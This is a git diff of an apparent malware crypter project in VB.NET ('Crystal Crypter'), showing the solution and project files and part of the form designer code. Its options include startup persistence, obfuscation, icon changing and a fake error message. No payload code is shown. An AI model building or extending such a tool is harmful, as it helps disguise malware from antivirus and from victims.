initial commit
This commit is contained in:
i2p
BIN
Binary file not shown.
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "CodeDom Crypter", "CodeDom Crypter.vbproj", "{3DAEBBFC-F212-4992-9648-2DBFA694238C}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3DAEBBFC-F212-4992-9648-2DBFA694238C}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{3DAEBBFC-F212-4992-9648-2DBFA694238C}.Debug|x86.Build.0 = Debug|x86
|
||||
{3DAEBBFC-F212-4992-9648-2DBFA694238C}.Release|x86.ActiveCfg = Release|x86
|
||||
{3DAEBBFC-F212-4992-9648-2DBFA694238C}.Release|x86.Build.0 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
@@ -0,0 +1,192 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
|
||||
<ProductVersion>
|
||||
</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{3DAEBBFC-F212-4992-9648-2DBFA694238C}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>WindowsApplication1.My.MyApplication</StartupObject>
|
||||
<RootNamespace>WindowsApplication1</RootNamespace>
|
||||
<AssemblyName>Crystal Crypter</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>Crystal Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>Crystal Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic.PowerPacks.Vs, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form2.Designer.vb">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Form2.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="IconChanger.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Form2.resx">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config">
|
||||
<SubType>Designer</SubType>
|
||||
</None>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\source.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Mono.Cecil.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AG.Configuration.SettingsProviders.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AG.Deployment.Updating.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AG.Eazfuscator.NET.Installer.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AG.Eazfuscator.NET.Settings.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\AG.Eazfuscator.NET.Updating.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Castle.Core.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Castle.MicroKernel.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Eazfuscator.NET.exe" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\ICSharpCode.SharpZipLib.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Microsoft.Cci.MetadataHelper.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Microsoft.Cci.MetadataModel.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Microsoft.Cci.MutableMetadataModel.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Microsoft.Cci.PeReader.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Microsoft.Cci.PeWriter.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\Microsoft.Cci.SourceModel.dll" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Folder Include="bin\Release\" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
</Project>
|
||||
+791
@@ -0,0 +1,791 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form1
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Das Formular überschreibt den Löschvorgang, um die Komponentenliste zu bereinigen.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Wird vom Windows Form-Designer benötigt.
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'Hinweis: Die folgende Prozedur ist für den Windows Form-Designer erforderlich.
|
||||
'Das Bearbeiten ist mit dem Windows Form-Designer möglich.
|
||||
'Das Bearbeiten mit dem Code-Editor ist nicht möglich.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1))
|
||||
Me.Button3 = New System.Windows.Forms.Button()
|
||||
Me.TextBox2 = New System.Windows.Forms.TextBox()
|
||||
Me.TextBox3 = New System.Windows.Forms.TextBox()
|
||||
Me.Button4 = New System.Windows.Forms.Button()
|
||||
Me.TextBox4 = New System.Windows.Forms.TextBox()
|
||||
Me.CheckBox4 = New System.Windows.Forms.CheckBox()
|
||||
Me.TextBox6 = New System.Windows.Forms.TextBox()
|
||||
Me.TextBox5 = New System.Windows.Forms.TextBox()
|
||||
Me.GroupBox2 = New System.Windows.Forms.GroupBox()
|
||||
Me.GroupBox3 = New System.Windows.Forms.GroupBox()
|
||||
Me.Label9 = New System.Windows.Forms.Label()
|
||||
Me.Label7 = New System.Windows.Forms.Label()
|
||||
Me.ShapeContainer1 = New Microsoft.VisualBasic.PowerPacks.ShapeContainer()
|
||||
Me.LineShape1 = New Microsoft.VisualBasic.PowerPacks.LineShape()
|
||||
Me.TabControl1 = New System.Windows.Forms.TabControl()
|
||||
Me.TabPage1 = New System.Windows.Forms.TabPage()
|
||||
Me.CheckBox5 = New System.Windows.Forms.CheckBox()
|
||||
Me.Label20 = New System.Windows.Forms.Label()
|
||||
Me.Label3 = New System.Windows.Forms.Label()
|
||||
Me.CheckBox2 = New System.Windows.Forms.CheckBox()
|
||||
Me.Label2 = New System.Windows.Forms.Label()
|
||||
Me.CheckBox1 = New System.Windows.Forms.CheckBox()
|
||||
Me.CheckBox3 = New System.Windows.Forms.CheckBox()
|
||||
Me.TabPage2 = New System.Windows.Forms.TabPage()
|
||||
Me.Label6 = New System.Windows.Forms.Label()
|
||||
Me.Label5 = New System.Windows.Forms.Label()
|
||||
Me.TabPage3 = New System.Windows.Forms.TabPage()
|
||||
Me.Label8 = New System.Windows.Forms.Label()
|
||||
Me.TabPage4 = New System.Windows.Forms.TabPage()
|
||||
Me.Label24 = New System.Windows.Forms.Label()
|
||||
Me.Label23 = New System.Windows.Forms.Label()
|
||||
Me.GroupBox5 = New System.Windows.Forms.GroupBox()
|
||||
Me.Button6 = New System.Windows.Forms.Button()
|
||||
Me.Label22 = New System.Windows.Forms.Label()
|
||||
Me.TextBox8 = New System.Windows.Forms.TextBox()
|
||||
Me.Button5 = New System.Windows.Forms.Button()
|
||||
Me.TextBox7 = New System.Windows.Forms.TextBox()
|
||||
Me.Label21 = New System.Windows.Forms.Label()
|
||||
Me.Button2 = New System.Windows.Forms.Button()
|
||||
Me.Label4 = New System.Windows.Forms.Label()
|
||||
Me.Button1 = New System.Windows.Forms.Button()
|
||||
Me.TextBox1 = New System.Windows.Forms.TextBox()
|
||||
Me.GroupBox1 = New System.Windows.Forms.GroupBox()
|
||||
Me.Label1 = New System.Windows.Forms.Label()
|
||||
Me.Label11 = New System.Windows.Forms.Label()
|
||||
Me.Label12 = New System.Windows.Forms.Label()
|
||||
Me.Label10 = New System.Windows.Forms.Label()
|
||||
Me.Label13 = New System.Windows.Forms.Label()
|
||||
Me.GroupBox4 = New System.Windows.Forms.GroupBox()
|
||||
Me.Label19 = New System.Windows.Forms.Label()
|
||||
Me.Label18 = New System.Windows.Forms.Label()
|
||||
Me.Label17 = New System.Windows.Forms.Label()
|
||||
Me.Label16 = New System.Windows.Forms.Label()
|
||||
Me.Label15 = New System.Windows.Forms.Label()
|
||||
Me.Label14 = New System.Windows.Forms.Label()
|
||||
Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog()
|
||||
Me.Label25 = New System.Windows.Forms.Label()
|
||||
Me.GroupBox2.SuspendLayout()
|
||||
Me.GroupBox3.SuspendLayout()
|
||||
Me.TabControl1.SuspendLayout()
|
||||
Me.TabPage1.SuspendLayout()
|
||||
Me.TabPage2.SuspendLayout()
|
||||
Me.TabPage3.SuspendLayout()
|
||||
Me.TabPage4.SuspendLayout()
|
||||
Me.GroupBox5.SuspendLayout()
|
||||
Me.GroupBox1.SuspendLayout()
|
||||
Me.GroupBox4.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Button3
|
||||
'
|
||||
Me.Button3.Location = New System.Drawing.Point(731, 194)
|
||||
Me.Button3.Name = "Button3"
|
||||
Me.Button3.Size = New System.Drawing.Size(58, 23)
|
||||
Me.Button3.TabIndex = 4
|
||||
Me.Button3.Text = "Button3"
|
||||
Me.Button3.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBox2
|
||||
'
|
||||
Me.TextBox2.Location = New System.Drawing.Point(714, 138)
|
||||
Me.TextBox2.MaxLength = 3276700
|
||||
Me.TextBox2.Multiline = True
|
||||
Me.TextBox2.Name = "TextBox2"
|
||||
Me.TextBox2.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Me.TextBox2.Size = New System.Drawing.Size(66, 50)
|
||||
Me.TextBox2.TabIndex = 5
|
||||
Me.TextBox2.WordWrap = False
|
||||
'
|
||||
'TextBox3
|
||||
'
|
||||
Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox3.Location = New System.Drawing.Point(602, 271)
|
||||
Me.TextBox3.Multiline = True
|
||||
Me.TextBox3.Name = "TextBox3"
|
||||
Me.TextBox3.ScrollBars = System.Windows.Forms.ScrollBars.Both
|
||||
Me.TextBox3.Size = New System.Drawing.Size(35, 56)
|
||||
Me.TextBox3.TabIndex = 6
|
||||
Me.TextBox3.Visible = False
|
||||
'
|
||||
'Button4
|
||||
'
|
||||
Me.Button4.Enabled = False
|
||||
Me.Button4.ForeColor = System.Drawing.Color.Black
|
||||
Me.Button4.Location = New System.Drawing.Point(187, 19)
|
||||
Me.Button4.Name = "Button4"
|
||||
Me.Button4.Size = New System.Drawing.Size(49, 20)
|
||||
Me.Button4.TabIndex = 1
|
||||
Me.Button4.Text = "..."
|
||||
Me.Button4.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBox4
|
||||
'
|
||||
Me.TextBox4.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox4.Enabled = False
|
||||
Me.TextBox4.Location = New System.Drawing.Point(16, 19)
|
||||
Me.TextBox4.Name = "TextBox4"
|
||||
Me.TextBox4.Size = New System.Drawing.Size(165, 20)
|
||||
Me.TextBox4.TabIndex = 0
|
||||
'
|
||||
'CheckBox4
|
||||
'
|
||||
Me.CheckBox4.AutoSize = True
|
||||
Me.CheckBox4.ForeColor = System.Drawing.Color.Black
|
||||
Me.CheckBox4.Location = New System.Drawing.Point(132, 72)
|
||||
Me.CheckBox4.Name = "CheckBox4"
|
||||
Me.CheckBox4.Size = New System.Drawing.Size(96, 17)
|
||||
Me.CheckBox4.TabIndex = 19
|
||||
Me.CheckBox4.Text = "Fake Message"
|
||||
Me.CheckBox4.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TextBox6
|
||||
'
|
||||
Me.TextBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox6.Enabled = False
|
||||
Me.TextBox6.Location = New System.Drawing.Point(36, 42)
|
||||
Me.TextBox6.Multiline = True
|
||||
Me.TextBox6.Name = "TextBox6"
|
||||
Me.TextBox6.Size = New System.Drawing.Size(180, 20)
|
||||
Me.TextBox6.TabIndex = 14
|
||||
'
|
||||
'TextBox5
|
||||
'
|
||||
Me.TextBox5.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle
|
||||
Me.TextBox5.Enabled = False
|
||||
Me.TextBox5.Location = New System.Drawing.Point(23, 86)
|
||||
Me.TextBox5.Multiline = True
|
||||
Me.TextBox5.Name = "TextBox5"
|
||||
Me.TextBox5.Size = New System.Drawing.Size(210, 41)
|
||||
Me.TextBox5.TabIndex = 0
|
||||
'
|
||||
'GroupBox2
|
||||
'
|
||||
Me.GroupBox2.Controls.Add(Me.TextBox4)
|
||||
Me.GroupBox2.Controls.Add(Me.Button4)
|
||||
Me.GroupBox2.ForeColor = System.Drawing.Color.Black
|
||||
Me.GroupBox2.Location = New System.Drawing.Point(79, 58)
|
||||
Me.GroupBox2.Name = "GroupBox2"
|
||||
Me.GroupBox2.Size = New System.Drawing.Size(249, 61)
|
||||
Me.GroupBox2.TabIndex = 31
|
||||
Me.GroupBox2.TabStop = False
|
||||
Me.GroupBox2.Text = "Icon changer"
|
||||
'
|
||||
'GroupBox3
|
||||
'
|
||||
Me.GroupBox3.Controls.Add(Me.Label9)
|
||||
Me.GroupBox3.Controls.Add(Me.Label7)
|
||||
Me.GroupBox3.Controls.Add(Me.TextBox5)
|
||||
Me.GroupBox3.Controls.Add(Me.TextBox6)
|
||||
Me.GroupBox3.ForeColor = System.Drawing.Color.Black
|
||||
Me.GroupBox3.Location = New System.Drawing.Point(78, 17)
|
||||
Me.GroupBox3.Name = "GroupBox3"
|
||||
Me.GroupBox3.Size = New System.Drawing.Size(249, 140)
|
||||
Me.GroupBox3.TabIndex = 32
|
||||
Me.GroupBox3.TabStop = False
|
||||
Me.GroupBox3.Text = "Fake error"
|
||||
'
|
||||
'Label9
|
||||
'
|
||||
Me.Label9.AutoSize = True
|
||||
Me.Label9.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label9.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
|
||||
Me.Label9.Location = New System.Drawing.Point(6, 68)
|
||||
Me.Label9.Name = "Label9"
|
||||
Me.Label9.Size = New System.Drawing.Size(50, 13)
|
||||
Me.Label9.TabIndex = 35
|
||||
Me.Label9.Text = "Message"
|
||||
'
|
||||
'Label7
|
||||
'
|
||||
Me.Label7.AutoSize = True
|
||||
Me.Label7.ForeColor = System.Drawing.Color.Black
|
||||
Me.Label7.Location = New System.Drawing.Point(20, 26)
|
||||
Me.Label7.Name = "Label7"
|
||||
Me.Label7.Size = New System.Drawing.Size(27, 13)
|
||||
Me.Label7.TabIndex = 33
|
||||
Me.Label7.Text = "Title"
|
||||
'
|
||||
'ShapeContainer1
|
||||
'
|
||||
Me.ShapeContainer1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.ShapeContainer1.Margin = New System.Windows.Forms.Padding(0)
|
||||
Me.ShapeContainer1.Name = "ShapeContainer1"
|
||||
Me.ShapeContainer1.Shapes.AddRange(New Microsoft.VisualBasic.PowerPacks.Shape() {Me.LineShape1})
|
||||
Me.ShapeContainer1.Size = New System.Drawing.Size(647, 301)
|
||||
Me.ShapeContainer1.TabIndex = 33
|
||||
Me.ShapeContainer1.TabStop = False
|
||||
'
|
||||
'LineShape1
|
||||
'
|
||||
Me.LineShape1.Name = "LineShape1"
|
||||
Me.LineShape1.Visible = False
|
||||
Me.LineShape1.X1 = 530
|
||||
Me.LineShape1.X2 = 638
|
||||
Me.LineShape1.Y1 = 80
|
||||
Me.LineShape1.Y2 = 175
|
||||
'
|
||||
'TabControl1
|
||||
'
|
||||
Me.TabControl1.Controls.Add(Me.TabPage1)
|
||||
Me.TabControl1.Controls.Add(Me.TabPage2)
|
||||
Me.TabControl1.Controls.Add(Me.TabPage3)
|
||||
Me.TabControl1.Controls.Add(Me.TabPage4)
|
||||
Me.TabControl1.Location = New System.Drawing.Point(3, 81)
|
||||
Me.TabControl1.Name = "TabControl1"
|
||||
Me.TabControl1.SelectedIndex = 0
|
||||
Me.TabControl1.Size = New System.Drawing.Size(419, 208)
|
||||
Me.TabControl1.TabIndex = 34
|
||||
'
|
||||
'TabPage1
|
||||
'
|
||||
Me.TabPage1.Controls.Add(Me.CheckBox5)
|
||||
Me.TabPage1.Controls.Add(Me.Label20)
|
||||
Me.TabPage1.Controls.Add(Me.Label3)
|
||||
Me.TabPage1.Controls.Add(Me.CheckBox2)
|
||||
Me.TabPage1.Controls.Add(Me.Label2)
|
||||
Me.TabPage1.Controls.Add(Me.CheckBox4)
|
||||
Me.TabPage1.Controls.Add(Me.CheckBox1)
|
||||
Me.TabPage1.Controls.Add(Me.CheckBox3)
|
||||
Me.TabPage1.Location = New System.Drawing.Point(4, 22)
|
||||
Me.TabPage1.Name = "TabPage1"
|
||||
Me.TabPage1.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.TabPage1.Size = New System.Drawing.Size(411, 182)
|
||||
Me.TabPage1.TabIndex = 0
|
||||
Me.TabPage1.Text = "Settings"
|
||||
Me.TabPage1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckBox5
|
||||
'
|
||||
Me.CheckBox5.AutoSize = True
|
||||
Me.CheckBox5.Location = New System.Drawing.Point(228, 51)
|
||||
Me.CheckBox5.Name = "CheckBox5"
|
||||
Me.CheckBox5.Size = New System.Drawing.Size(63, 17)
|
||||
Me.CheckBox5.TabIndex = 34
|
||||
Me.CheckBox5.Text = "Memory"
|
||||
Me.CheckBox5.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label20
|
||||
'
|
||||
Me.Label20.AutoSize = True
|
||||
Me.Label20.Location = New System.Drawing.Point(93, 152)
|
||||
Me.Label20.Name = "Label20"
|
||||
Me.Label20.Size = New System.Drawing.Size(209, 13)
|
||||
Me.Label20.TabIndex = 33
|
||||
Me.Label20.Text = "We are always buzy upgrading our Crypter."
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Me.Label3.AutoSize = True
|
||||
Me.Label3.Location = New System.Drawing.Point(76, 136)
|
||||
Me.Label3.Name = "Label3"
|
||||
Me.Label3.Size = New System.Drawing.Size(247, 13)
|
||||
Me.Label3.TabIndex = 32
|
||||
Me.Label3.Text = "These settings may be already installed in your File."
|
||||
'
|
||||
'CheckBox2
|
||||
'
|
||||
Me.CheckBox2.AutoSize = True
|
||||
Me.CheckBox2.ForeColor = System.Drawing.Color.Black
|
||||
Me.CheckBox2.Location = New System.Drawing.Point(132, 51)
|
||||
Me.CheckBox2.Name = "CheckBox2"
|
||||
Me.CheckBox2.Size = New System.Drawing.Size(90, 17)
|
||||
Me.CheckBox2.TabIndex = 2
|
||||
Me.CheckBox2.Text = "Icon Changer"
|
||||
Me.CheckBox2.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Me.Label2.AutoSize = True
|
||||
Me.Label2.Location = New System.Drawing.Point(33, 28)
|
||||
Me.Label2.Name = "Label2"
|
||||
Me.Label2.Size = New System.Drawing.Size(107, 13)
|
||||
Me.Label2.TabIndex = 31
|
||||
Me.Label2.Text = "Select your Settings.."
|
||||
'
|
||||
'CheckBox1
|
||||
'
|
||||
Me.CheckBox1.AutoSize = True
|
||||
Me.CheckBox1.Location = New System.Drawing.Point(51, 51)
|
||||
Me.CheckBox1.Name = "CheckBox1"
|
||||
Me.CheckBox1.Size = New System.Drawing.Size(60, 17)
|
||||
Me.CheckBox1.TabIndex = 30
|
||||
Me.CheckBox1.Text = "Startup"
|
||||
Me.CheckBox1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'CheckBox3
|
||||
'
|
||||
Me.CheckBox3.AutoSize = True
|
||||
Me.CheckBox3.ForeColor = System.Drawing.Color.Black
|
||||
Me.CheckBox3.Location = New System.Drawing.Point(51, 72)
|
||||
Me.CheckBox3.Name = "CheckBox3"
|
||||
Me.CheckBox3.Size = New System.Drawing.Size(75, 17)
|
||||
Me.CheckBox3.TabIndex = 3
|
||||
Me.CheckBox3.Text = "Obfuscate"
|
||||
Me.CheckBox3.UseVisualStyleBackColor = True
|
||||
'
|
||||
'TabPage2
|
||||
'
|
||||
Me.TabPage2.Controls.Add(Me.Label6)
|
||||
Me.TabPage2.Controls.Add(Me.Label5)
|
||||
Me.TabPage2.Controls.Add(Me.GroupBox2)
|
||||
Me.TabPage2.Location = New System.Drawing.Point(4, 22)
|
||||
Me.TabPage2.Name = "TabPage2"
|
||||
Me.TabPage2.Padding = New System.Windows.Forms.Padding(3)
|
||||
Me.TabPage2.Size = New System.Drawing.Size(411, 182)
|
||||
Me.TabPage2.TabIndex = 1
|
||||
Me.TabPage2.Text = "Icon Changer"
|
||||
Me.TabPage2.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Me.Label6.AutoSize = True
|
||||
Me.Label6.Location = New System.Drawing.Point(120, 135)
|
||||
Me.Label6.Name = "Label6"
|
||||
Me.Label6.Size = New System.Drawing.Size(161, 13)
|
||||
Me.Label6.TabIndex = 33
|
||||
Me.Label6.Text = "This changes the icon of the file."
|
||||
'
|
||||
'Label5
|
||||
'
|
||||
Me.Label5.AutoSize = True
|
||||
Me.Label5.Location = New System.Drawing.Point(22, 33)
|
||||
Me.Label5.Name = "Label5"
|
||||
Me.Label5.Size = New System.Drawing.Size(139, 13)
|
||||
Me.Label5.TabIndex = 32
|
||||
Me.Label5.Text = "Change the icon of your file."
|
||||
'
|
||||
'TabPage3
|
||||
'
|
||||
Me.TabPage3.Controls.Add(Me.GroupBox3)
|
||||
Me.TabPage3.Controls.Add(Me.Label8)
|
||||
Me.TabPage3.Location = New System.Drawing.Point(4, 22)
|
||||
Me.TabPage3.Name = "TabPage3"
|
||||
Me.TabPage3.Size = New System.Drawing.Size(411, 182)
|
||||
Me.TabPage3.TabIndex = 2
|
||||
Me.TabPage3.Text = "Error Message"
|
||||
Me.TabPage3.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label8
|
||||
'
|
||||
Me.Label8.AutoSize = True
|
||||
Me.Label8.Location = New System.Drawing.Point(88, 160)
|
||||
Me.Label8.Name = "Label8"
|
||||
Me.Label8.Size = New System.Drawing.Size(227, 13)
|
||||
Me.Label8.TabIndex = 34
|
||||
Me.Label8.Text = "When opening the file this message comes up."
|
||||
'
|
||||
'TabPage4
|
||||
'
|
||||
Me.TabPage4.Controls.Add(Me.Label24)
|
||||
Me.TabPage4.Controls.Add(Me.Label23)
|
||||
Me.TabPage4.Controls.Add(Me.GroupBox5)
|
||||
Me.TabPage4.Location = New System.Drawing.Point(4, 22)
|
||||
Me.TabPage4.Name = "TabPage4"
|
||||
Me.TabPage4.Size = New System.Drawing.Size(411, 182)
|
||||
Me.TabPage4.TabIndex = 3
|
||||
Me.TabPage4.Text = "Memory"
|
||||
Me.TabPage4.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Label24
|
||||
'
|
||||
Me.Label24.AutoSize = True
|
||||
Me.Label24.Location = New System.Drawing.Point(108, 168)
|
||||
Me.Label24.Name = "Label24"
|
||||
Me.Label24.Size = New System.Drawing.Size(199, 13)
|
||||
Me.Label24.TabIndex = 4
|
||||
Me.Label24.Text = "Make sure you dont make the File to big."
|
||||
'
|
||||
'Label23
|
||||
'
|
||||
Me.Label23.AutoSize = True
|
||||
Me.Label23.Location = New System.Drawing.Point(90, 152)
|
||||
Me.Label23.Name = "Label23"
|
